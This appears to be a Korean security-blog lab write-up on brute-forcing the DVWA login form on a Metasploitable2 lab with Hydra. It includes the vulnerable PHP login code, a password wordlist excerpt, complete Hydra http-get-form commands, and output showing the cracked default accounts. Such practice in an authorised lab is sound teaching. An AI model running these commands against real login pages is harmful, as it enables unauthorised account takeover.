이번 실습은 DVWA에서 제공하는 Brute Force 취약점을 대상으로 Hydra 도구를 활용해 무차별 대입 공격 (Brute Force Attack)을 수행하였다. Metasploitable2 환경에서 DVWA를 설정하고, Kali Linux에서 공격을 진행하였다.
1. 실습 환경
- 공격자 : Kali Linux
- Target : Metasploitable2 (DVWA 설치)
- 공격 도구 : Hydra
- DVWA 주소 : http://target_ip/dvwa/vulnerabilities/brute/
- DVWA 보안 레벨 : low
2. [Step 1] DVWA의 Brute Force 취약점 분석
관련 소스 코드 확인
Target 서버에 접근하여 로그인 로직이 있는 PHP 코드를 확인하였다.
if( isset( $_GET['Login'] ) ) {
$user = $_GET['username'];
$pass = $_GET['password'];
$pass = md5($pass);
$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
$i=0;
$avatar = mysql_result( $result, $i, "avatar" );
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
echo "<pre><br>Username and/or password incorrect.</pre>";
}
mysql_close();
}
=> 로그인 시 password 값은 md5()로 해싱되어 비교되므로, 이를 고려한 접근이 필요하다.
3. [Step 2] 공격 대상 디렉터리 구조 확인
vncviewer target_ip 주소
3. [Step 3] 비밀번호 사전 파일 구성
공격에 사용할 비밀번호 리스트 (passwords.txt)는 github에서 passwords 리스트를 들고 와서 다음과 같이 구성하였다.
=> 사진의 passwords는 일부만 캡처한 사진이다.
tivonpw
tj1234
tlah
tmp123
tokiohotel
tomcat
tommy
tony
toor
tootsite
topgun
toplayer
topsecret
toptop
tornado
torres
toshy99
admin
totototo
touchpwd=
tour
toyota
tr650
password
...
4. [Step 4] Hydra를 이용한 공격 수행
Hydra
Hydra는 다양한 네트워크 서비스를 대상으로 무차별 대입 공격 (Brute Force Attack)을 수행할 수 있는 강력한 도구이다.
HTTP, FTP, SSH, RDP 등 수십 가지 프로토콜을 지원하며, 사용자명 및 비밀번호 조합을 빠르게 테스트할 수 있다.
단일 사용자 (admin)에 대한 공격
hydra -l admin -P passwords.txt \
"http-get-form://xxx.xxx.xxx.xxx/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie:security=low;PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:F=Username and/or password incorrect." -V
- -l admin : 고정 사용자 이름 설정
- -P passwords.txt : 비밀번호 사전 파일 지정
- http-get-form://... : 대상 웹 로그인 폼 URL
- H= : 쿠키 설정 (보안 레벨 low + 세션 유지)
- F= : 실패 메세지를 기준으로 성공 여부 판단
- -V : 상세한 진행 상황 출력
결과 출력
[80][http-get-form] host: 192.168.248.139 login: admin password: password
1 of 1 target successfully completed, 1 valid password found
=> admin 계정의 유효한 비밀번호로 password가 탐지되었다.
5. [Step 5] 사용자 리스트 기반 무차별 대입 공격
앞서 /var/www/dvwa/hackable/users/ 경로에서 아래와 같은 사용자 계정을 확인하였다.
admin
pablo
gordonb
smithy
1337
위 계정들을 username.txt 파일로 저장하고,
이전에 구성한 passwords.txt 파일과 함께 전체 사용자에 대한 Brute Force 공격을 수행하였다.
사용자 리스트 + 비밀번호 리스트 조합 공격
hydra -L username.txt -P passwords.txt \
"http-get-form://xxx.xxx.xxx.xxx/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie:security=low;PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:F=Username and/or password incorrect." -V
- -L username.txt : 사용자 계정 리스트 파일
- -P passwords.txt : 비밀번호 리스트 파일
- 그 외 옵션은 [Step 4]와 동일
공격 결과
Hydra는 다음과 같은 유효한 로그인 조합을 탐지하였다.
[80][http-get-form] host: xxx.xxx.xxx.xxx login: admin password: password
[80][http-get-form] host: xxx.xxx.xxx.xxx login: pablo password: letmein
[80][http-get-form] host: xxx.xxx.xxx.xxx login: gordonb password: abc123
[80][http-get-form] host: xxx.xxx.xxx.xxx login: smithy password: password
=> 1337 계정은 비밀번호 리스트 내에 일치하는 값이 없어 실패하였다.
6. 자리 표시자 정리
Hydra 명령어에서 사용된 주요 자리 표시자는 다음과 같다
자리표시자 | 설명 |
^USER^ | 사용자명 |
^PASS^ | 비밀번호 |
^HOST^ | 대상 IP |
^COOKIE^ | 세션 쿠키 값 |
^FORM^ | 로그인 폼 파라미터 |
F= | 실패 시 출력되는 문구 |
7. 마무리
- Hydra 도구를 통해 단일 사용자(admin) 또는 사용자 리스트 전체에 대해 무차별 대입 공격이 가능함을 확인하였다.
- 공격 대상 페이지의 소스 코드를 통해 md5()로 해시된 비밀번호를 사용하는 것을 확인했고, 이는 보안상 매우 취약한 구조임을 실습을 통해 체감할 수 있었다.
- F= 파라미터를 통해 로그인 실패 문구를 기준으로 Hydra가 성공/ 실패를 자동 판별하는 방식도 이해하였다.
- 실제 환경에서는 계정 잠금, 캡챠, 타임 딜레이 등의 방어 기능이 존재하므로 이를 우회하거나 우회 가능 여부를 분석하는 능력도 중요하다는 것을 깨달을 수 있었다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'웹 해킹 & 보안' 카테고리의 다른 글
[웹 모의해킹] Command Execution 1 - 명령어 실행 취약점 실습 (0) | 2025.05.30 |
---|---|
[웹 모의해킹] Brute Force 2 - 무차별 대입 공격 실습(Burp Suite & Python) (1) | 2025.05.29 |
bWAPP 환경에서 HTML & SQL Injection 실습 정리 (4) | 2025.05.16 |
다크웹 만들기 실습 (Tor와 SocialPhish 이용) (4) | 2025.05.14 |
무차별 대입 공격 (브루트포스 어택) 실습 (2) | 2025.05.14 |